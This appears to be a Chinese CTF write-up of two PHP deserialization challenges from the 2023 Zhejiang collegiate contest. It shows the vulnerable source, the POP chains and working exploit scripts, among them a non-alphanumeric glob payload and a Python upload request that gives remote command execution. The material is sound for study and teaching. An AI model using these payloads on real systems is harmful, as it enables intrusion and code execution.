Home 2023年浙江省大学生省赛决赛反序列化复现
Post
Cancel

2023年浙江省大学生省赛决赛反序列化复现

easy serialize

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
//flag is in /flag.php
error_reporting(0);
class baby{
    public $var;
    public $var2;
    public $var3;

    public function learn($key){
        echo file_get_contents(__DIR__.$key);
    }

    public function getAge(){
        return $this->var2->var3;
    }

    public function __isset($var){
        $this->learn($var);
    }

    public function __invoke(){
        return $this->learn($this->var);
    }

    public function __wakeup(){
        $this->getAge();
    }
}

class young{
    public $var;

    public function __toString(){
        return ($this->var)();
    }
}

class old{
    public $var;

    public function __get($key){
        return "Okay, you get the key, but we send you ".$this->var;
    }
}


if(isset($_GET['age'])){
    @unserialize($_GET['age']);
}
else{
    highlight_file(__FILE__);
}
?>

pop链

1
2
3
4
5
6
baby::learn($key)
baby::__invoke  -->  baby::learn()
young::__toString  --> baby::__invoke
old::__get  -->  young::__toString
baby::getAge($var2) --> old::__get
baby::__wakeup  --> baby::getAge($var2)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class baby{
    public $var;
    public $var2;
    public $var3;
}

class young{
    public $var;
}

class old{
    public $var;
}

$a = new baby();
$a->var = "/flag.php";

$b = new young();
$b->var=$a;

$c = new old();
$c ->var=$b;

$exp = new baby();
$exp->var2 = $c;
echo serialize($exp);
// O:4:"baby":3:{s:3:"var";N;s:4:"var2";O:3:"old":1:{s:3:"var";O:5:"young":1:{s:3:"var";O:4:"baby":3:{s:3:"var";s:9:"/flag.php";s:4:"var2";N;s:4:"var3";N;}}}s:4:"var3";N;}

p2rce

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);

class CCC {
    public $c;
    public $a;
    public $b;

    public function __destruct()
    {
        $this->a = 'flag';
        if($this->a === $this->b) {
            echo $this->c;
        }
    }
}

class AAA {
    public $s;
    public $a;

    public function __toString()
    {
        $p = $this->a;
        return $this->s->$p;
    }
}


class BBB {
    private $b;
    public function __get($name)
    {
        if (is_string($this->b) && !preg_match("/[A-Za-z0-9_$]+/", $this->b)) {
            global $flag;
            $flag = $this->b;
            return 'ok';
        } else {
            return '<br/>get it!!'; 
        }
    }
}


if(isset($_GET['ctf'])) {
    if(preg_match('/flag/i', $_GET['ctf'])) {
       die('nonono');
    }
    $a = unserialize($_GET['ctf']);
    system($flag);
    throw new Exception("goaway!!!");
} else {
    highlight_file(__FILE__);
}

思路

链子其实很简单,CCC 里面 a b 相同比赛的php版本不能再b触发tostring,就要a b地址相同。

BBB里面的全局 flag,命令执行。具体要参考 p 神的这篇文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

构造链

1
2
3
BBB::__get
AAA::__toString  =>  BBB::__get
CCC::__destruct  => AAA::__toString

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

class CCC
{
   public $c;
   public $a;
   public $b;
}

class AAA
{
   public $s;
   public $a;
}


class BBB
{
   private $b = '. /???/????????[@-[]';
}

// $exp = '. /???/????????[@-[]';
$a = new AAA();
$b = new BBB();
$c = new CCC();

$a->s = $b;
$a->a = 'abc';

$c->b = &$c->a;
$c->c = $a;

$payload = serialize(array($c, null));
$payload = str_replace('i:1;N;}', 'i:0;N;}', $payload);
echo urlencode($payload);
1
2
3
4
5
6
7
import requests
url = "http://10.20.73.123/ctf.php?ctf=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22CCC%22%3A3%3A%7Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A1%3A%7Bs%3A6%3A%22%00BBB%00b%22%3Bs%3A20%3A%22.+%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40-%5B%5D%22%3B%7Ds%3A1%3A%22a%22%3Bs%3A3%3A%22abc%22%3B%7Ds%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A7%3B%7Di%3A0%3BN%3B%7D"
s = requests.session()
exp = {'uploaded': ('file', "id")}
res = s.post(url, files=exp)

print(res.text)

多运行几次就可以了

image-20231124144737003

This post is licensed under CC BY 4.0 by the author.